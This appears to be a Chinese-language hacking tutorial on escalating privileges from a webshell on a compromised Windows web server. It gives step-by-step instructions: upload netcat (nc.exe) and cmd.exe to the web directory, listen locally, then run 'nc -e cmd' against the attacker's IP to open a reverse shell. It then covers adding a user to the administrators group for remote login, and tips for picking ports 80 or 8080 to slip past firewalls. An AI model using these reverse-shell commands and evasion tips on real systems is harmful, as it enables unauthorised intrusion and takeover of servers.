Server-U等都不可以用的情况下. 一般都可思考用此方法
不过这种方法, 只要对方装了防火墙, 或是屏蔽掉了除常用的那几个端口外的所有端口… 那么这种方法也失效了….
1:通过shell将上传NC和CMD传到站点目录下(这里一定上传的注意权限,最好是可读写目录下)
web目录都是有写有读的权限,我们直接传NC进去
2:然后本地执行nc -vv -lp 52进行反弹
3:在shell命令下执行
F:\wwwroot\img\nc.exe -e cmd上传路径 IP(外网IP) 52(这里是本机端口)
4:在shell里执行命令后,马上看到本地CMS里已经反弹上去了,执行net user 也是成功.
5:直接添加用户,然后远程去连接!
看到添加成功,也设置为管理组了!接下来直接远程连接就OK!
不少人NC提权没有成功过,因为其中的原因是你没有降低权限,而导致了NC提权失败
失败总结:
1.反弹端口
网上不少文章写 反弹端口445 110 什么的,你当防火墙白痴是不是,我建议看一下端口有没有8080端口,如果没有8080端口的话,要反弹8080
端口,这样被防火墙阻止的概率较小
2.降低运行权限
1.现在本地监听一个端口
nc -vv -l -p 8080 //最好是80或8080这样的端口,被防火墙拦截的几率很小。
2.在WebShell运行下面命令连接我们监听的端口得到CmdShell:
nc -vv IP 8080 -e C:\Documents and Settings\All Users\Documents\cmd.exe //假设cmd.exe是上传在"C:\Documents and Settings\All Users\Documents\"这个目录